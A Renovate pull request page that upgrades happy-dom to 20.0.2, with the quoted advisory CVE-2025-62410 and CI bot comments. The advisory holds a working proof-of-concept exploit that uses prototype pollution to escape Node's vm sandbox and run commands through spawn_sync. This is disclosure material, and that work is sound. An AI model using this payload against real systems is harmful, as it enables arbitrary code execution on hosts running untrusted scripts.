Skip to content

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Oct 11, 2025

This PR contains the following updates:

Package Change Age Confidence
happy-dom 20.0.020.0.2 age confidence

GitHub Vulnerability Alerts

CVE-2025-62410

Summary

The mitigation proposed in GHSA-37j7-fg3j-429f for disabling eval/Function when executing untrusted code in happy-dom does not suffice, since it still allows prototype pollution payloads.

Details

The untrusted script and the rest of the application still run in the same Isolate/process, so attackers can deploy prototype pollution payloads to hijack important references like "process" in the example below, or to hijack control flow via flipping checks of undefined property. There might be other payloads that allow the manipulation of require, e.g., via (univeral) gadgets (https://www.usenix.org/system/files/usenixsecurity23-shcherbakov.pdf).

PoC

Attackers can pollute builtins like Object.prototype.hasOwnProperty() to obtain important references at runtime, e.g., "process". In this way, attackers might be able to execute arbitrary commands like in the example below via spawn().

import { Browser } from "happy-dom";

const browser = new Browser({settings: {enableJavaScriptEvaluation: true}});
const page = browser.newPage({console: true});

page.url = 'https://example.com';
let payload = 'spawn_sync = process.binding(`spawn_sync`);normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(` `);typeof a.shell===`string`?c=a.shell:c=`/bin/sh`,b=[`-c`,g];}typeof a.argv0===`string`?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+`=`+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:`pipe`,readable:!0,writable:!1},{type:`pipe`,readable:!1,writable:!0},{type:`pipe`,readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!==`buffer`)for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + `spawnSync `+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;};'
page.content = `<html>
<script>
    function f() { let process = this; ${payload}; spawnSync("touch", ["success.flag"]); return "success";} 
    this.constructor.constructor.__proto__.__proto__.toString = f;
    this.constructor.constructor.__proto__.__proto__.hasOwnProperty = f;
    // Other methods that can be abused this way: isPrototypeOf, propertyIsEnumerable, valueOf
    
</script>
<body>Hello world!</body></html>`;

await browser.close();
console.log(`The process object is ${process}`);
console.log(process.hasOwnProperty('spawn'));

Impact

Arbitrary code execution via breaking out of the Node.js' vm isolation.

Recommended Immediate Actions

Users can freeze the builtins in the global scope to defend against attacks similar to the PoC above. However, the untrusted code might still be able to retrieve all kind of information available in the global scope and exfiltrate them via fetch(), even without prototype pollution capabilities. Not to mention side channels caused by the shared process/isolate. Migration to isolated-vm is suggested instead.

Cris from the Endor Labs Security Research Team, who has worked extensively on JavaScript sandboxing in the past, submitted this advisory.


Release Notes

capricorn86/happy-dom (happy-dom)

v20.0.2

Compare Source

👷‍♂️ Patch fixes

v20.0.1

Compare Source

👷‍♂️ Patch fixes
  • Adds warning for environment with unfrozen intrinsics (builtins) when JavaScript evaluation is enabled- By @​capricorn86 in task #​1932
    • A security advisory has been reported showing that the recommended preventive measure of running Node.js with --disallow-code-generation-from-strings wasn't enough to protect against attackers escaping the VM context and accessing process-level functions. Big thanks to @​cristianstaicu for reporting this!
    • The documentation for how to run Happy DOM with JavaScript evaluation enabled in a safer way has been updated. Read more about it in the Wiki

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@netlify
Copy link

netlify bot commented Oct 11, 2025

Deploy Preview for yunielacosta failed.

Name Link
🔨 Latest commit b73d0bb
🔍 Latest deploy log https://app.netlify.com/projects/yunielacosta/deploys/68e9b66e41177500087b1134

@github-actions
Copy link
Contributor

🤖 Hi @renovate[bot], I've received your request, and I'm working on it now! You can track my progress in the logs for more details.

@github-actions github-actions bot requested a review from yacosta738 October 11, 2025 01:44
@coderabbitai
Copy link
Contributor

coderabbitai bot commented Oct 11, 2025

Important

Review skipped

Bot user detected.

To trigger a single review, invoke the @coderabbitai review command.

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.


Comment @coderabbitai help to get the list of available commands and usage tips.

@cloudflare-workers-and-pages
Copy link

Deploying yacosta738-v3 with  Cloudflare Pages  Cloudflare Pages

Latest commit: b73d0bb
Status:🚫  Build failed.

View logs

@renovate renovate bot changed the title chore(deps): update dependency happy-dom to v20 [security] chore(deps): update dependency happy-dom to v20 [security] - autoclosed Oct 11, 2025
@renovate renovate bot closed this Oct 11, 2025
@renovate renovate bot deleted the renovate/npm-happy-dom-vulnerability branch October 11, 2025 08:36
@renovate renovate bot changed the title chore(deps): update dependency happy-dom to v20 [security] - autoclosed chore(deps): update dependency happy-dom to v20.0.2 [security] Oct 15, 2025
@renovate renovate bot reopened this Oct 15, 2025
@renovate renovate bot force-pushed the renovate/npm-happy-dom-vulnerability branch 2 times, most recently from b73d0bb to 2f9603a Compare October 15, 2025 20:59
@cloudflare-workers-and-pages
Copy link

cloudflare-workers-and-pages bot commented Oct 15, 2025

Deploying yap-portfolio with  Cloudflare Pages  Cloudflare Pages

Latest commit: 0c23b4d
Status:🚫  Build failed.

View logs

@cloudflare-workers-and-pages
Copy link

cloudflare-workers-and-pages bot commented Oct 15, 2025

Deploying with  Cloudflare Workers  Cloudflare Workers

The latest updates on your project. Learn more about integrating Git with Workers.

Status Name Latest Commit Updated (UTC)
✅ Deployment successful!
View logs
yap-api 0c23b4d Dec 31 2025, 02:11 PM

@github-actions
Copy link
Contributor

🎭 Playwright Test Results

Total Tests: N/A
Passed: N/A ✅
Failed: N/A ❌
Flaky: N/A ⚠️
Duration: 544s

View full report in artifacts

@renovate renovate bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 2f9603a to b4dbdd1 Compare October 15, 2025 22:13
@github-actions
Copy link
Contributor

🎭 Playwright Test Results

Total Tests: N/A
Passed: N/A ✅
Failed: N/A ❌
Flaky: N/A ⚠️
Duration: 539s

View full report in artifacts

@renovate renovate bot force-pushed the renovate/npm-happy-dom-vulnerability branch 6 times, most recently from c60d455 to e8f9391 Compare October 17, 2025 12:40
@github-actions
Copy link
Contributor

🤖 CI Pipeline Results

Check Status
🔍 Lint & Type Check ✅ success
🧪 Unit Tests ✅ success
🏗️ Build ✅ success
🎭 E2E Tests ✅ success
📊 Code Quality ✅ success

Commit: ccd8c9f
Workflow: View Details

@renovate renovate bot force-pushed the renovate/npm-happy-dom-vulnerability branch 2 times, most recently from 334a8a3 to ee3ac1d Compare October 17, 2025 14:10
@github-actions
Copy link
Contributor

🤖 CI Pipeline Results

Check Status
🔍 Lint & Type Check ✅ success
🧪 Unit Tests ✅ success
🏗️ Build ✅ success
🎭 E2E Tests ❌ cancelled
📊 Code Quality ✅ success

Commit: 7fc24a6
Workflow: View Details

@github-actions
Copy link
Contributor

🤖 CI Pipeline Results

Check Status
🔍 Lint & Type Check ❌ failure
🧪 Unit Tests ✅ success
🏗️ Build ⏭️ skipped
🎭 E2E Tests ⏭️ skipped
📊 Code Quality ✅ success

Commit: 9ccf796
Workflow: View Details

@renovate renovate bot force-pushed the renovate/npm-happy-dom-vulnerability branch from ee3ac1d to 9402533 Compare October 17, 2025 19:07
@github-actions
Copy link
Contributor

🤖 CI Pipeline Results

Check Status
🔍 Lint & Type Check ✅ success
🧪 Unit Tests ✅ success
🏗️ Build ✅ success
🎭 E2E Tests ✅ success
📊 Code Quality ✅ success

Commit: 7a56b47
Workflow: View Details

@renovate renovate bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 9402533 to 8257194 Compare October 19, 2025 09:29
@github-actions
Copy link
Contributor

🤖 CI Pipeline Results

Check Status
🔍 Lint & Type Check ✅ success
🧪 Unit Tests ✅ success
🏗️ Build ✅ success
🎭 E2E Tests ✅ success
📊 Code Quality ✅ success

Commit: e3354cc
Workflow: View Details

@renovate renovate bot force-pushed the renovate/npm-happy-dom-vulnerability branch 2 times, most recently from 30f6648 to 1aebf0f Compare October 19, 2025 12:56
@github-actions
Copy link
Contributor

🤖 CI Pipeline Results

Check Status
🔍 Lint & Type Check ✅ success
🧪 Unit Tests ✅ success
🏗️ Build ❌ cancelled
🎭 E2E Tests ❌ cancelled
📊 Code Quality ✅ success

Commit: 81806c6
Workflow: View Details

@github-actions
Copy link
Contributor

🤖 CI Pipeline Results

Check Status
🔍 Lint & Type Check ✅ success
🧪 Unit Tests ✅ success
🏗️ Build ✅ success
🎭 E2E Tests ✅ success
📊 Code Quality ✅ success

Commit: ed88e00
Workflow: View Details

@renovate renovate bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 1aebf0f to b1e4d57 Compare October 20, 2025 15:34
@github-actions
Copy link
Contributor

🤖 CI Pipeline Results

Check Status
🔍 Lint & Type Check ✅ success
🧪 Unit Tests ✅ success
🏗️ Build ✅ success
🎭 E2E Tests ✅ success
📊 Code Quality ✅ success

Commit: 4a36a05
Workflow: View Details

@renovate renovate bot force-pushed the renovate/npm-happy-dom-vulnerability branch from b1e4d57 to cedaf14 Compare October 21, 2025 17:49
@github-actions
Copy link
Contributor

🤖 CI Pipeline Results

Check Status
🔍 Lint & Type Check ✅ success
🧪 Unit Tests ✅ success
🏗️ Build ✅ success
🎭 E2E Tests ✅ success
📊 Code Quality ✅ success

Commit: 0e06e10
Workflow: View Details

@renovate renovate bot force-pushed the renovate/npm-happy-dom-vulnerability branch from cedaf14 to 961562b Compare October 29, 2025 11:02
@github-actions
Copy link
Contributor

🤖 CI Pipeline Results

Check Status
🔍 Lint & Type Check ✅ success
🧪 Unit Tests ✅ success
🏗️ Build ✅ success
🎭 E2E Tests ✅ success
📊 Code Quality ✅ success

Commit: 9bf6c81
Workflow: View Details

@renovate renovate bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 961562b to 9299752 Compare October 29, 2025 12:47
@github-actions
Copy link
Contributor

🤖 CI Pipeline Results

Check Status
🔍 Lint & Type Check ✅ success
🧪 Unit Tests ✅ success
🏗️ Build ✅ success
🎭 E2E Tests ✅ success
📊 Code Quality ✅ success

Commit: a0b8e30
Workflow: View Details

@renovate renovate bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 9299752 to 392ec10 Compare November 10, 2025 20:02
@github-actions
Copy link
Contributor

🤖 CI Pipeline Results

Check Status
🔍 Lint & Type Check ✅ success
🧪 Unit Tests ✅ success
🏗️ Build ✅ success
🎭 E2E Tests ✅ success
📊 Code Quality ✅ success

Commit: 12108af
Workflow: View Details

@renovate renovate bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 392ec10 to 66f0e9f Compare November 14, 2025 19:14
@sonarqubecloud
Copy link

@github-actions
Copy link
Contributor

🤖 CI Pipeline Results

Check Status
🔍 Lint & Type Check ✅ success
🧪 Unit Tests ❌ failure
🏗️ Build ❌ failure
🎭 E2E Tests ⏭️ skipped
📊 Code Quality ✅ success

Commit: eead8dc
Workflow: View Details

@renovate renovate bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 66f0e9f to 0c23b4d Compare December 31, 2025 14:10
@sonarqubecloud
Copy link

@github-actions
Copy link
Contributor

🤖 CI Pipeline Results

Check Status
🔍 Lint & Type Check ✅ success
🧪 Unit Tests ❌ failure
🏗️ Build ❌ failure
🎭 E2E Tests ⏭️ skipped
📊 Code Quality ✅ success

Commit: ef051c3
Workflow: View Details

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant